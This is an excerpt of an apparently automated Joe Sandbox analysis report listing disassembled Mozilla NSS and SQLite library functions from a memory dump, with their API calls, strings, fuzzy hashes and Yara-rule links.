strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C5E781D), ref: 6C5E6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C5E6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C5E6C96

Part of subcall function 6C591240: TlsGetValue.KERNEL32(00000040,?,6C59116C,NSPR_LOG_MODULES), ref: 6C591267
Part of subcall function 6C591240: EnterCriticalSection.KERNEL32(?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C59127C
Part of subcall function 6C591240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C591291
Part of subcall function 6C591240: PR_Unlock.NSS3(?,?,?,?,6C59116C,NSPR_LOG_MODULES), ref: 6C5912A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C5E6CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C5E6C91
dbm, xrefs: 6C5E6CA4
dbm:, xrefs: 6C5E6C3A
rdb:, xrefs: 6C5E6C69
extern:, xrefs: 6C5E6C7E
sql:, xrefs: 6C5E6C52

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 9a3aba98a30e3079ded21d31f7afc02b64c8af529872f2a0bc845b9f9fe7a4e3
Instruction ID: 86fd1729b1904374d5bd3d4d03ae32b9785c00a11ff3b0751ec71dacb946f9e2
Opcode Fuzzy Hash: 9a3aba98a30e3079ded21d31f7afc02b64c8af529872f2a0bc845b9f9fe7a4e3
Instruction Fuzzy Hash: 3E01F2B17073153BFA10277B2C8AF63220E9F5918CF140832FF19E0982EFA2E51580AD

Function 6C5F4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C5B78F8), ref: 6C5F4E6D

Part of subcall function 6C5909E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C5906A2,00000000,?), ref: 6C5909F8
Part of subcall function 6C5909E0: malloc.MOZGLUE(0000001F), ref: 6C590A18
Part of subcall function 6C5909E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C590A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C5B78F8), ref: 6C5F4ED9

Part of subcall function 6C5E5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C5E7703,?,00000000,00000000), ref: 6C5E5942
Part of subcall function 6C5E5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C5E7703), ref: 6C5E5954
Part of subcall function 6C5E5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C5E596A
Part of subcall function 6C5E5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C5E5984
Part of subcall function 6C5E5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C5E5999
Part of subcall function 6C5E5920: free.MOZGLUE(00000000), ref: 6C5E59BA
Part of subcall function 6C5E5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C5E59D3
Part of subcall function 6C5E5920: free.MOZGLUE(00000000), ref: 6C5E59F5
Part of subcall function 6C5E5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C5E5A0A
Part of subcall function 6C5E5920: free.MOZGLUE(00000000), ref: 6C5E5A2E
Part of subcall function 6C5E5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C5E5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F4EB3

Part of subcall function 6C5F4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C5F4EB8,?,?,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F484C
Part of subcall function 6C5F4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C5F4EB8,?,?,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F486D
Part of subcall function 6C5F4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C5F4EB8,?), ref: 6C5F4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F4EC0

Part of subcall function 6C5F4470: TlsGetValue.KERNEL32(00000000,?,6C5B7296,00000000), ref: 6C5F4487
Part of subcall function 6C5F4470: EnterCriticalSection.KERNEL32(?,?,?,6C5B7296,00000000), ref: 6C5F44A0
Part of subcall function 6C5F4470: PR_Unlock.NSS3(?,?,?,?,6C5B7296,00000000), ref: 6C5F44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C6CDCB0,00000000), ref: 6C5F4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C5F501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C5B78F8), ref: 6C5F506B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: c180bfcad5d26a931fc0b5e20145275914b650eb3cb8ae33410fccd7c6771178
Instruction ID: 4ac21f56477129f482bf05a22814c289c893d7c2e9238c3f9497dd634219a02b
Opcode Fuzzy Hash: c180bfcad5d26a931fc0b5e20145275914b650eb3cb8ae33410fccd7c6771178
Instruction Fuzzy Hash: 0151F4F6A00201DBEB159F25EC4569B37B9EF4531CF048535E82A86B12FB31D91ACF92

Function 6C59ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C59ACE2
malloc.MOZGLUE(00000001), ref: 6C59ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C59AD02
TlsGetValue.KERNEL32 ref: 6C59AD3C
calloc.MOZGLUE(00000001,?), ref: 6C59AD8C
PR_Unlock.NSS3 ref: 6C59ADC0
free.MOZGLUE(00000000), ref: 6C59AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C59AE58
free.MOZGLUE(00000000), ref: 6C59AE69
free.MOZGLUE(?), ref: 6C59AE78
PR_Unlock.NSS3 ref: 6C59AE8C
free.MOZGLUE(?), ref: 6C59AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C59AEC7

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: f6800438ac128afd105b1b770140b94fc55f54ba09b3fb79898ec79fb86d7994
Instruction ID: d24eb89d8adf0b7470663953e21495e902424fb4b6a914b540e96b22c8529adc
Opcode Fuzzy Hash: f6800438ac128afd105b1b770140b94fc55f54ba09b3fb79898ec79fb86d7994
Instruction Fuzzy Hash: 1F51BEB0F002569BDF00DF69DC816AE77B4BB06348F1844B9D815A7B10DB31A914CBEA

Function 6C674C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C674CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C674CFD
sqlite3_value_text16.NSS3(?), ref: 6C674D44

Strings

abort due to ROLLBACK, xrefs: 6C674D27, 6C674D33
invalid, xrefs: 6C674CF1
out of memory, xrefs: 6C674C78, 6C674C9E
unknown error, xrefs: 6C674D56
bad parameter or other API misuse, xrefs: 6C674D05
another row available, xrefs: 6C674D20
API call with %s database connection pointer, xrefs: 6C674CF6
no more rows available, xrefs: 6C674D2E

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 089a81308007e714226bfa6b7dbeb4fe438a79c582ba79e38897675e786373e6
Instruction ID: fafaac22129dd6bf0028478a650aff1384b08a9e9679d79e7800f72973685902
Opcode Fuzzy Hash: 089a81308007e714226bfa6b7dbeb4fe438a79c582ba79e38897675e786373e6
Instruction Fuzzy Hash: 733168B3E08951A7D7244A24A9087F4B3A27B82318F150D29D4645BE15CBE1AC62CFFE

Function 6C5D2CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C5D2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C5D2D07

Part of subcall function 6C6B09D0: PR_Now.NSS3 ref: 6C6B0A22
Part of subcall function 6C6B09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C6B0A35
Part of subcall function 6C6B09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C6B0A66
Part of subcall function 6C6B09D0: PR_GetCurrentThread.NSS3 ref: 6C6B0A70
Part of subcall function 6C6B09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C6B0A9D
Part of subcall function 6C6B09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C6B0AC8
Part of subcall function 6C6B09D0: PR_vsmprintf.NSS3(?,?), ref: 6C6B0AE8
Part of subcall function 6C6B09D0: EnterCriticalSection.KERNEL32(?), ref: 6C6B0B19
Part of subcall function 6C6B09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C6B0B48
Part of subcall function 6C6B09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C6B0C76
Part of subcall function 6C6B09D0: PR_LogFlush.NSS3 ref: 6C6B0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C5D2D22

Part of subcall function 6C6B09D0: OutputDebugStringA.KERNEL32(?), ref: 6C6B0B88
Part of subcall function 6C6B09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6B0C5D
Part of subcall function 6C6B09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C6B0C8D
Part of subcall function 6C6B09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6B0C9C
Part of subcall function 6C6B09D0: OutputDebugStringA.KERNEL32(?), ref: 6C6B0CD1
Part of subcall function 6C6B09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C6B0CEC
Part of subcall function 6C6B09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6B0CFB
Part of subcall function 6C6B09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C6B0D16
Part of subcall function 6C6B09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C6B0D26
Part of subcall function 6C6B09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6B0D35
Part of subcall function 6C6B09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C6B0D65
Part of subcall function 6C6B09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C6B0D70
Part of subcall function 6C6B09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C6B0D90
Part of subcall function 6C6B09D0: free.MOZGLUE(00000000), ref: 6C6B0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C5D2D3B

Part of subcall function 6C6B09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C6B0BAB
Part of subcall function 6C6B09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6B0BBA
Part of subcall function 6C6B09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6B0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C5D2D54

Part of subcall function 6C6B09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B0BCB
Part of subcall function 6C6B09D0: EnterCriticalSection.KERNEL32(?), ref: 6C6B0BDE
Part of subcall function 6C6B09D0: OutputDebugStringA.KERNEL32(?), ref: 6C6B0C16

Strings

slotID = 0x%x, xrefs: 6C5D2D02
nkl, xrefs: 6C5D2D6C, 6C5D2D9A
C_InitToken, xrefs: 6C5D2CE7
pLabel = 0x%p, xrefs: 6C5D2D4F
ulPinLen = %d, xrefs: 6C5D2D36
pPin = 0x%p, xrefs: 6C5D2D1D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nkl
API String ID: 420000887-3781152025
Opcode ID: b67468ed27fb7ae8da330682360f902f33eef61f0071e4872cbc84c6bc6a47db
Instruction ID: 940be24396cd1fcc7a574507ef8178272e4161142244e2686eed64079e7a7860
Opcode Fuzzy Hash: b67468ed27fb7ae8da330682360f902f33eef61f0071e4872cbc84c6bc6a47db
Instruction Fuzzy Hash: E721A4B6700245EFDB00BF58DD4CA453BB1EB8731AF458169E504A7622DF30AC59CB66

Function 6C672D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C672D9F

Part of subcall function 6C52CA30: EnterCriticalSection.KERNEL32(?,?,?,6C58F9C9,?,6C58F4DA,6C58F9C9,?,?,6C55369A), ref: 6C52CA7A
Part of subcall function 6C52CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C52CB26

sqlite3_exec.NSS3(?,?,6C672F70,?,?), ref: 6C672DF9
sqlite3_free.NSS3(00000000), ref: 6C672E2C
sqlite3_free.NSS3(?), ref: 6C672E3A
sqlite3_free.NSS3(?), ref: 6C672E52
sqlite3_mprintf.NSS3(6C6DAAF9,?), ref: 6C672E62
sqlite3_free.NSS3(?), ref: 6C672E70
sqlite3_free.NSS3(?), ref: 6C672E89
sqlite3_free.NSS3(?), ref: 6C672EBB
sqlite3_free.NSS3(?), ref: 6C672ECB
sqlite3_free.NSS3(00000000), ref: 6C672F3E
sqlite3_free.NSS3(?), ref: 6C672F4C

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 036735677b9f4a95ee0dba9ba116c704d0acc9f06036494cb0565b9da91d5918
Instruction ID: a57ab78001a17c7b11d566199f21bd2b0febfd622737feed530b01745826c77b
Opcode Fuzzy Hash: 036735677b9f4a95ee0dba9ba116c704d0acc9f06036494cb0565b9da91d5918
Instruction Fuzzy Hash: BB617CB5E00205CBEB10CFA8D884BDEB7F1AF89358F144828DC55A7741E735E855CBA9

Function 6C5B7C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C702120,6C5B7E60,00000000,?,?,?,?,6C63067D,6C631C60,00000000), ref: 6C5B7C81

Part of subcall function 6C524C70: TlsGetValue.KERNEL32(?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524C97
Part of subcall function 6C524C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524CB0
Part of subcall function 6C524C70: PR_Unlock.NSS3(?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524CC9

TlsGetValue.KERNEL32 ref: 6C5B7CA0
EnterCriticalSection.KERNEL32(?), ref: 6C5B7CB4
PR_Unlock.NSS3 ref: 6C5B7CCF

Part of subcall function 6C64DD70: TlsGetValue.KERNEL32 ref: 6C64DD8C
Part of subcall function 6C64DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DDB4

TlsGetValue.KERNEL32 ref: 6C5B7D04
EnterCriticalSection.KERNEL32(?), ref: 6C5B7D1B
realloc.MOZGLUE(-00000050), ref: 6C5B7D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5B7DF4
PR_Unlock.NSS3 ref: 6C5B7E0E

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 4989f842cf4b6b7b1f7f60b0b8f0cf9dc790dd80a227b498fa2b4d119538072a
Instruction ID: 79e59e298cda1e4e036679d2db3d5b7705b1934f3a4d135c8c9851dedf66129a
Opcode Fuzzy Hash: 4989f842cf4b6b7b1f7f60b0b8f0cf9dc790dd80a227b498fa2b4d119538072a
Instruction Fuzzy Hash: 545104B6B04100AFDB00AF28DC54A653BB5EB463D8F15853EEA0567722EF30D854CBA1

Function 6C524C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524CB0
PR_Unlock.NSS3(?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524D97
PR_Lock.NSS3(?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524DBA
PR_WaitCondVar.NSS3 ref: 6C524DD4
PR_Unlock.NSS3(?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C523921,6C7014E4,6C66CC70), ref: 6C524DEF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 283c9ea25cd19b75596aa3c1742f8d9b5b794c571bd6679ce542dad2468a94c1
Instruction ID: 680fd1ae1fb31775a84efbdda739f45ebdb0a88b6f05bb94d39a07672c05190c
Opcode Fuzzy Hash: 283c9ea25cd19b75596aa3c1742f8d9b5b794c571bd6679ce542dad2468a94c1
Instruction Fuzzy Hash: B2418CB5A04615CFCB00EF7DD884159BBF4BF46318F058A69DC889BB50EB34D894CB86

Function 6C5C8F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5C8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5C8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5C8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C5C9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5C9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5C905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C5C9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5C90EC

Part of subcall function 6C590F00: PR_GetPageSize.NSS3(6C590936,FFFFE8AE,?,6C5216B7,00000000,?,6C590936,00000000,?,6C52204A), ref: 6C590F1B
Part of subcall function 6C590F00: PR_NewLogModule.NSS3(clock,6C590936,FFFFE8AE,?,6C5216B7,00000000,?,6C590936,00000000,?,6C52204A), ref: 6C590F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5C9111

Strings

nkl, xrefs: 6C5C90A3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nkl
API String ID: 2831689957-1663185687
Opcode ID: 788b498f6c07c29a93adbba2df2a500dc417992103c3f7904d7b01402b82a262
Instruction ID: 9111432f5a6273a879879e15e808384085a7248b7c0441087b2f0d5a73e8df18
Opcode Fuzzy Hash: 788b498f6c07c29a93adbba2df2a500dc417992103c3f7904d7b01402b82a262
Instruction Fuzzy Hash: D4517BB5B046458FDB00EFB9C8C8259BBF5AF49318F0549ADDC459B716EB30E884CB92

